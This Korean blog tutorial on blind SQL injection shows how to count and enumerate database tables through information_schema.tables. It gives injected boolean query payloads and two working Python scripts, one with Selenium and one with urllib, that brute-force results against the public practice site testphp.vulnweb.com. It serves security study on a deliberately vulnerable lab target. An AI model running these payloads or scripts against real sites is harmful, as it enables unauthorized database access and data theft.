Cha4SEr Security Study

[Web Hacking] - Blind SQL Injection_2. 테이블명 수집(1) 본문

Web/Web Hacking

[Web Hacking] - Blind SQL Injection_2. 테이블명 수집(1)

Cha4SEr 2020. 7. 18. 17:47

지난시간에 이어 Blind SQL Injection을 통해 수집할 수 있는 데이터에 대해 알아보도록 하겠습니다.

 

(Blind SQL Injection 개요 : https://cha4ser.tistory.com/entry/Web-Hacking-Blind-SQL-Injection1-DB-%EB%B2%84%EC%A0%84-%EC%88%98%EC%A7%91)

 

 

2) 테이블명 수집

웹 서버에서는 대표적으로 

user, users, admin, login, employees 등 과 같은 테이블명을 자주 사용합니다.

 

이런 특성을 이용해 게싱으로 테이블명을 바로 찾을수도 있는데 

(SELECT 1 FROM 'users' / SELECT 1 FROM 'user' 등을 입력해서 오류가 나지 않을 때 성공)

 

사실상 그렇지 않은 경우가 더 많고, 추측한 테이블이 자신이 원하는 테이블이 아닐수도 있습니다.

 

그래서 사용하는 방법은 information_schema.tables 를 이용해 모든 테이블의 정보를 수집하는 것 입니다.

 

*information_schema.tables

information_schema.tables를 이용하면 DB에 존재하는 테이블들의 메타데이터를 볼 수 있습니다.

desc로 테이블 구조를 보면 많은 메타데이터가 존재하는 것을 볼 수 있는데, 여기서 중요한 것은 TABLE_NAME을 볼 수

있다는 것입니다.

 

(기타 다른 메타데이터 정보_이미지 출처 : https://cloud.google.com/bigquery/docs/information-schema-tables?hl=ko#tables_view)

 

 

SELECT 구문으로 information_schema.tables의 내용을 볼 수 있습니다.

전체 칼럼을 다 출력하면 데이터가 너무 많기 때문에 간략히 

table_catalog, table_name, table_type, create_time 만 뽑아서 출력해보았습니다.

 

SELECT table_catalog, table_name, table_type, create_time FROM information_schema.tables;

 

...

 

시스템에서 자동으로 생성된 테이블부터 제가 임의로 만든 테이블인 'board'와 'users' 라는 테이블까지 모두 출력되었습니다.

 

총 339개라는 많은 테이블을 볼 수 있는데, 이 많은 테이블 중 원하는 테이블의 위치와 테이블명을 모르는 상태에서 

테이블명을 알아내고 공격하기 위해 생각해 볼 수 있는 공격 시나리오는 다음과 같습니다.

 

1. information_schema.tables 에 존재하는 테이블 수를 파악한다.

2. DB버전을 수집했을때와 유사하게 substr을 이용해 전체 테이블의 이름을 수집한다.

3. 테이블명이 user, users, admin 등 대표적으로 많이 사용되는 테이블명을 대상으로 공격을 시도한다.

 

 

 

각 단계별로 쿼리문을 파악하고 Python으로 자동화 코드를 만들어 보겠습니다.

 

1. information_schema.tables 에 존재하는 테이블 수를 파악

 

테이블에 존재하는 row의 개수를 파악하기 위한 키워드는 COUNT(*) 입니다.

SELECT COUNT(*) FROM information_schema.tables;

 

임의로 직접 만든 테이블의 데이터를 조회하는 동시에 information_schema.tables의 row 개수를

함께 출력해보도록 하겠습니다.

 

 

[임의 테이블 구조]

 

 

id=4 라는 조건 뒤에 and로 boolean 연산을 하게 한 다음 

(select count(*) from information.tables)를 조회한 결과가 1인지, 339인지 비교하는 구문을 넣었습니다.

그 결과 information_schema.tables에 존재하는 테이블의 수가 339이기 때문에

두번째 쿼리문에서만 결과값을 얻어올 수 있습니다.

 

이제 실습사이트에도 적용시키기 위해 파이썬 코드를 작성해보겠습니다.

(Blind SQL Injection에서는 위와 같이 정답을 모르는 상태에서 무작위 대입을 많이 시도해야 하기 때문에

자동화 코드 작성은 필수입니다.)

 

인젝션을 수행하기 위해 파이썬 크롤링 도구인 Selenium을 사용했습니다. 

Selenium을 사용하면 url을 바꿔서 반복적으로 쿼리문 삽입이 가능하고,

웹 페이지의 각종 요소들에 대한 정보도 수집할 수 있습니다.

(Selenium 사용법은 구글링 조금만 하시면 알 수 있는데, 다음에 기회가 되면 사용법에 대해 포스팅하도록 하겠습니다.)

 

 

from selenium import webdriver

// Selenium Headless Mode Setting
options = webdriver.ChromeOptions()
options.add_argument('headless')
options.add_argument('window-size=1920x1080')
options.add_argument("disable-gpu")
driver = webdriver.Chrome('chromedriver.exe',chrome_options=options)

// 실습 사이트 url
origin_url = 'http://testphp.vulnweb.com/listproducts.php?cat=1'


// url을 인자로 받고, 해당 페이지가 공백 페이지인지, 정상 페이지 인지 판단하는 함수
def success_check(url):
    check = 0
    try:
        driver.get(url)
        print("Input URL : " + url)
         
        find = driver.find_element_by_xpath('//*[@id="content"]/div[1]/p[1]/a/img')
        if(find != None):
            check = 1

    except: pass

    return check

check = 0
count = 1


// count를 1씩 증가시키면서 success_check() 함수 호출
while (1):
    injection_sql = ' and ((select count(*) from information_schema.tables) = '+str(count)+')'
    
    url = origin_url + injection_sql
    
    check = success_check(url)
    
    if(check == 1):
        print('Find Count! count is ' + str(count))
        break
        
    else:
    	print('count is not ' + str(count))
        count = count + 1
        

 

코드 동작 과정은 다음과 같습니다.

1. Selenium 설정 (Headless Mode) 후 실습 사이트 url을 변수에 저장

2. url에 따라 정상 페이지인지, 공백 페이지인지 판단하는 함수 생성 (success_check)

3. count를 1씩 증가시키면서 success_check 함수 호출

4. count를 찾으면(정상 페이지가 출력되면) while문 종료

 

*success_check(url)

 

우선 정상페이지와 공백페이지의 구분 기준을 설정합니다.

 

 

저는 위 사진에서 표시한 사진을 기준을 잡았습니다.

만약 정상 페이지가 출력이 되면 저 사진에 대한 정보를 수집할 수 있을 것이고,

공백 페이지라면 저 사진에 대한 정보를 수집할 수 없을 것입니다.

 

이것을 판단하기 위해 Seleniumdriver.find_element_by_xpath 를 사용했습니다.

F12를 눌러서 해당 요소의 HTML 코드를 찾은 다음 우클릭하여 Copy Xpath를 클릭합니다.

 

붙여넣기를 하면 '//*[@id="content"]/div[1]/p[1]/a/img' 이런 문자열이 나옵니다.

이 문자열을

find = driver.find_element_by_xpath('//*[@id="content"]/div[1]/p[1]/a/img')

이런식으로 find_element_by_xpath 뒤에 인자로 붙여줍시다.

 

그렇게 되면 find 변수에는 저 사진에 대한 정보가 들어가게 됩니다.

출력해보면 대충 이런 문자열이 나오는데, 무슨 뜻인지는 모르셔도 되고 

중요한건 "요소를 찾아서 출력이 되었다." 라는 것입니다.

 

만약 입력한 url이 공백 페이지를 출력할 경우 위 사진이 존재하지 않기 때문에 해당 정보를 수집할 수 없어

위 문자열이 출력되지 않을 것입니다.

(사실 단순히 문자열이 출력되지 않는 것이 아니라, 오류가 나서 프로그램이 종료되기 때문에 try / catch 문으로

감싸주어야 합니다.)

 

 

이런식으로 success_check() 함수를 구현한 다음 while문을 돌리면

 

testphp.vulnweb.com/listproducts.php?cat=1 and ((select count(*) from information_schema.tables) = 1)

testphp.vulnweb.com/listproducts.php?cat=1 and ((select count(*) from information_schema.tables) = 2)

                                                                   .....

 

이렇게 쭈욱 반복하다가, 정상 페이지가 출력되었을 때 while문을 종료하게 될 것입니다.

....

 

오래걸릴줄 알았는데 생각보다 빠르게 테이블 수를 찾을 수 있었습니다.

 

information_schema.tables에 있는 테이블 수는 36개로 나왔습니다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and ((select count(*) from information_schema.tables) = 36)

을 입력하면 

 

 

정상 페이지가 출력되는것으로 보아 테이블 수가 36이 맞는것 같습니다.

 

 

글 쓰다보니 길어지는것 같아 substr으로 테이블명 수집하는 단계는 다음 포스팅에서 다루도록 하겠습니다!

 

 

 

====================================================================

urllib를 잘 몰랐었는데 써보고 나니 urllib가 훨씬 빠른것 같습니다. 

urllib를 사용한 코드도 함께 첨부하였고, 다음 포스팅부터 selenium말고 urllib로 계속 진행하겠습니다.

 

import urllib.request

origin_url = 'http://testphp.vulnweb.com/listproducts.php?cat=1'
req = urllib.request

# 정상페이지 인지, 공백 페이지인지 확인하는 함수
# 정상이면 1, 공백이면 0 리턴
def success_check(url):
    check = 0
    find_data = req.urlopen(url)
    print("Input URL : " + url)
    data = find_data.read().decode("utf-8")


    if(data.find('r4w8173') != -1):
        print("find!!")
        check = 1

    return check

#information_schema.tables 테이블 수 구하는 코드
check = 0
count = 1

# information_schema.tables의 테이블 개수 파악
# count를 ++ 하면서 request

while (1):
    injection_sql = ' and ((select count(*) from information_schema.tables) = '+str(count)+')'
    url = origin_url + injection_sql
    check = success_check(url)
    if(check == 1):
        print('Find Count! count is ' + str(count))
        break
    else:
        print('count is not ' + str(count))
        count = count + 1
Comments